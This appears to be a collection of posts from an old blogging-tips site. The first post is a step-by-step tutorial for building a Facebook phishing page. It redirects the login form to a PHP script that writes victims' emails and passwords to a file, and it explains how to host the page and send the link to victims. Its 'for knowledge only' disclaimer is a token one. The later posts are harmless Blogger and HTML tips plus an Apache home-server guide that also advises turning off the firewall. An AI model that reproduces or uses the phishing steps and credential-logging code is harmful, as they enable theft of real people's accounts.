Saturday, 17 December 2011

Facebook Phishing: Create Facebook Phishing pages..


Today I will tell you about the famous hacking technique called “Phishing“. In this technique hackers just make a fake page of any website to hack user account , then if user entre his/her account name and password hacker get the account details and hack the account of user.
Before starting i just want to tell you the this information is for only knowlegde not for the practical use.
I will tell you how to create phishing pages for facebook. To view demo visit View demo
Steps to create a phishing page of facebook:======
1. First goto Facebook login page (make sure that the page is loaded completely) and right click and select view source (in firefox) or view source code option in other browsers.
2. Select all ( CTR + A ) and copy all the code and paste it in notepad.
3. Then search(CTR + F) for the keyword action.You can see the code as given below.
action=”https://www.facebook.com/login.php?login_attempt=1″
4. Just change the above code as mentioned below
action=”pass.php”
after changing to pass.php (or anyname.php) just save it in the form facebook.html (anyname.html). By finishing this step our phishing page is ready.Now we want to create script page for this phishing page.
5. For creating a php script,just copy the below php code into notepad and save in the format pass.php (name mentioned in action of our phishing page)
<?php$fp = fopen("Passwords.htm", "a");fwrite($fp, "Email:$_POST[email]\tPassword:$_POST[pass]");echo "“;?>


Note:‘http://www.facebook.com‘ is the redirection url,When victim will enter his/her email and password he will redirected to’http://www.facebook.com‘
6. By this step our PHP script is also ready,
7. Now host these 2 files ie,
facebook.html
pass.php
in any of free hosting servers like ripway,drivehq,110 mb or t35.com etc (or any other,just google free hosting).Make sure that these 2 files are in same directory.
8. After hosting you will get a direct link to your phishing page,that is to your facebook.html page.just use this link to access or send phishing page.
9. When anyone tries to login through your phishing page a new html page with name password.html will be automatically created in your hosting directory with the password and username entered there.

Home HTTP Server – How To Create One


In this tutorial we will see how to create an HTTP server. A web server is software installed on a computer that allows other computers to access specific files on that computer/server. There are many reasons to create your own home servers. For example: file sharing, so you can download files from your home computer from anywhere or you can create a web site on own server etc. Simply said It works like this; You choose a directory on your computer , in that directory add folders, files like music,video and etc. When you put the IP address of your computer the in web browser you can see all the files from that folder and you can download those files. Let’s now create a server(HTTP server!) using Apache(a server client):
1. You must have:
  • Broadband internet connection always on
  • Windows on your computer
2. Create a folder on your disc , in this example I created a folder on E:\my server
3. Download apache_2.2.10-win32-x86-no_ssl.msi and install it, set parameters( for localhost type something like a myserver.com(doesn’t really matter), also type your email address in field “Administrator@ Email Address” ) as shown below, choose where you want to install it.


4..When you install Apache , go to directory where you installed it (p.e. “C:\Program Files\Apache Software Foundation\Apache2.2\conf”) , here you will find a httpd file.
Open that file with notepad.
After this will appear notepad with long and complicated code, don´t worry, you must change just 3 things.
5. In notepad file find #DocumentRoot “C:/Program Files/Apache Group/Apache2/htdocs”and replace with #DocumentRoot “E:\my server”. Also find #<Directory  “C:/Program Files/Apache Group/Apache2/htdocs” and replace with <Directory  “E:\my server”.  E:\my server is folder where you put files which will appear on your server. In this example I created that folder on local disc E:. You can create your folder in any other place, but then type that path here. Find #AllowOverride None and change to AllowOverride All.
Change selected code


After this, save file like httpd.conf.
6. Type in web addresses http://localhost/ or your IP Address, you should see something like this
Every files you put in folder , which we created in step 2 , will be shown on http://localhost/
7. If you want access own server from other computers. You must forward a port in the router we’re using. The port we need to forward is port number 80. Why? Because by default it’s the port used for HTTP. Port forwarding actually means opening a tunnel through the router so that the router wouldn’t reject the connections that are trying to connect to it. How to port-forward? With every router it’s different. You must also turn off you firewall.
That is all. Enjoy your home server. If you have questions, post them in the comments area.
Note: Creating home server is risky,when you open port, there is a possibility to have someone a breach in your computer .Before you start, make sure your computer has all the latest patches and security updates, and that you’ve done a thorough spyware and virus scan. This tutorial is only for advanced users

Saturday, 23 July 2011

Page Jumps



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Hi Annie! Just wondering.. how would you make a link in a blog which in it will take you to that part in a blog? Don't get it? Here's what I mean..
For example, "Steps on Baking Pastry:" There will be list of the steps first then, the steps. For ex., you click "Step 8: Putting it in the Microwave", it takes you to:
"Step 8: Putting it in the Microwave
Put it there for 3-5 minutes until...."
?? Just wondering.. Would be glad if you answer back!
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Instead of reinventing the wheel, I found this wonderful tutorial.
Jumping Inside Pages - HTML Tutorials

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Friday, 22 July 2011

Chicklets...a blast from the past

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Hi!

I just commented on your post, Optimize your blog for mobile devices, and read a couple of your other articles. As a blogger myself, I am impressed.

I also just added your I Love BlogU button to my brand new Hacker Study (http://www.hackerstudy.com) blog.

Could I trouble you for the info, how or where did you make that button? I have several Blogger hosted blogs and I would really like to provide these buttons for my readers as well.

Considering that you have lots of tweaks for Blogger, I will be visiting you on a regular basis.

Sincerely,

Tom
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Well, this is the little button he was talking about.   I made it ages ago when I was in love with Chicklets. A Chicklet is an 80x15 button. Very exact on the size. If it's not 80x15, it is not a chicklet! I had a gazillion in my cellar on BlogU. But, I have since house cleaned and left only this one little chicklet to give away to anyone that wants it.

If, you want a Chicklet to brand your site, or profess your love for clouds, Firefox, trees, iPhones...or whatever...these are the sites you can go to make them.

  1. Brilliant Button Maker By the way, this is the one I used to make my Chicklet because it allows an image to be used.
  2. Just another button maker
  3. Adam Kasly Button Maker This site has a nice clean design, which may appeal to you.

And this is just a collection of Blogger Badges a.k.a. antipixel buttons, chicklets
so you can see what all can be done with these little snazzy buttons.

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Saturday, 23 April 2011

Optimize your blog for mobile devices

Does everyone know about the mobile version for your blog? It is really pretty cool. And since many viewers will use a mobile device at some point to view your blog, doesn't it only make sense to optimize it for them so it comes up readable?

Now the good news. It is incredibly easy. No code. No CSS. No HTML. This is what you do:
  1. open your dashboard in the "Blogger Draft"
  2. click on the settings tab
  3. click email & mobile
  4. in the 'Show mobile template' section check Yes, On mobile devices, show the mobile version of my template.
  5. save settings


mobile

Now everyone can easily view you blog in a simpler mobile friendly manner.


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Sunday, 5 December 2010

Hyperlink image to open new window

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How do I make the picture link to an external site, but have it open into a new window?
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Some think this is not a good idea. This post is not addressing that. This is simply a post on how to open an image that is linked to another site in a new window.

This is the code that does that:
<a href="URL" title="TITLE"><img src="IMAGE URL" border="0" width="xx" height="xx" alt="Description"></a>
And here is the code with the information plugged in:
<a href="http://seaside-sharon.blogspot.com/" title="Seaside Sharon"><img src="http://farm4.static.flickr.com/3117/2489901121_35e9239f99.jpg" border="0" width="254" height="45" alt="Seaside Sharon header"></a>
Here is the result of using that code.

Seaside Sharon header



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Tuesday, 26 October 2010

Where to put the blockquote code

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where to put the code?
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I had a question regarding where to place the blockquote code from this post, Pretty Blockquotes.

You insert this code within your post where you want the blockquote to appear. (using the Edit HTML window).
<blockquote>PLACE QUOTE TEXT HERE</blockquote>.



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